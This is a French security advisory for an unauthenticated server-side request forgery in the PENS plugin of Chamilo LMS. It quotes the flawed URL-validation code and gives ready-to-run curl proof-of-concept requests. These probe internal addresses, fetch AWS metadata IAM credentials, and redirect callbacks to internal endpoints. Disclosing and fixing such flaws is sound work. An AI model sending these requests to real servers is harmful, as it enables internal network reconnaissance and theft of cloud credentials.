
SSRF non authentifié dans Chamilo LMS via le plugin PENS (pens.php) — CVSS 7.5
Sévérité : Élevée (CVSS 7.5)
CWE : CWE-918 (Server-Side Request Forgery)
Affecté : chamilo/chamilo-lms 2.x (commit af6b7002 et antérieurs)
Avis : GHSA-g2xj-4cch-j276
NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-34160
Le point de terminaison du plugin PENS (Package Exchange Notification Services) public/plugin/Pens/pens.php est accessible sans authentification et accepte des URL contrôlées par l'utilisateur à la fois pour le téléchargement de paquets et les notifications de rappel. Les fonctions de validation d'URL vérifient le schéma et la présence d'un hôte mais n'effectuent aucun filtrage d'adresses IP privées, permettant un SSRF non authentifié vers les réseaux internes et les services de métadonnées cloud.
Après avoir trouvé CVE-2026-33715 dans install.ajax.php de Chamilo, j'ai continué à auditer la base de code à la recherche d'autres points de terminaison non authentifiés ayant des effets côté réseau. Le plugin PENS (public/plugin/Pens/) s'est démarqué : PENS est un protocole hérité de diffusion de contenu e-learning qui implique de récupérer des paquets depuis des URL externes et d'envoyer des rappels vers des serveurs externes — deux surfaces SSRF classiques.
J'ai lu PensProcessor.php à la recherche de la logique de validation d'URL. isAllowedDownloadUrl() et isAllowedCallbackUrl() vérifient toutes deux le schéma (http/https) et un hôte non vide — et s'arrêtent là. Aucun filtrage RFC 1918, aucune vérification de boucle locale, aucune vérification de lien local. Le commentaire dit même « returns true » après la vérification de l'hôte, ce qui rendait évident que cela avait été écrit sans penser au SSRF.
Ce qui distingue cela de la CVE précédente de Chamilo : il y a deux vecteurs SSRF indépendants — un pour la récupération du paquet (le serveur tire un fichier depuis une URL contrôlée par l'attaquant) et un pour les rappels (le serveur envoie des POST vers des points de terminaison contrôlés par l'attaquant). Le vecteur de rappel est particulièrement utile pour exfiltrer les réponses des services internes, puisque le serveur enverra les données de statut PENS vers l'URL que vous spécifiez, et vous contrôlez l'analyse de la réponse.
Sur les déploiements cloud, le point de terminaison de métadonnées 169.254.169.254 est accessible via les deux vecteurs.
Fichier : public/plugin/Pens/lib/PensProcessor.php
Deux vecteurs SSRF distincts :
Vecteur 1 — Récupération d'URL de paquet (lignes 376, 138) :
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← pas de vérification d'IP privée
}
// Ensuite récupéré avec curl :
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
Vecteur 2 — SSRF de rappel (ligne 318) : les paramètres receipt et alerts spécifient des URL vers lesquelles le serveur envoie des rappels POST — même validation absente.
isAllowedDownloadUrl() et isAllowedCallbackUrl() valident uniquement que l'URL a un schéma http/https et un hôte non vide. Les plages privées RFC 1918 (10.x, 172.16.x, 192.168.x), la boucle locale (127.x), le lien local (169.254.x — métadonnées cloud) et les équivalents IPv6 sont tous acceptés.
# Vecteur 1 : Sonder le réseau interne via l'URL du paquet
curl -X POST "http://<cible>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# Point de terminaison de métadonnées AWS
curl -X POST "http://<cible>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# Vecteur 2 : SSRF de rappel — le serveur envoie des POST vers un point de terminaison interne contrôlé par l'attaquant
curl -X POST "http://<cible>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
169.254.169.254Remarque : cela est distinct de CVE-2022-27426 (SSRF dans les outils sociaux/liens) — chemin de code différent, plugin différent, non authentifié.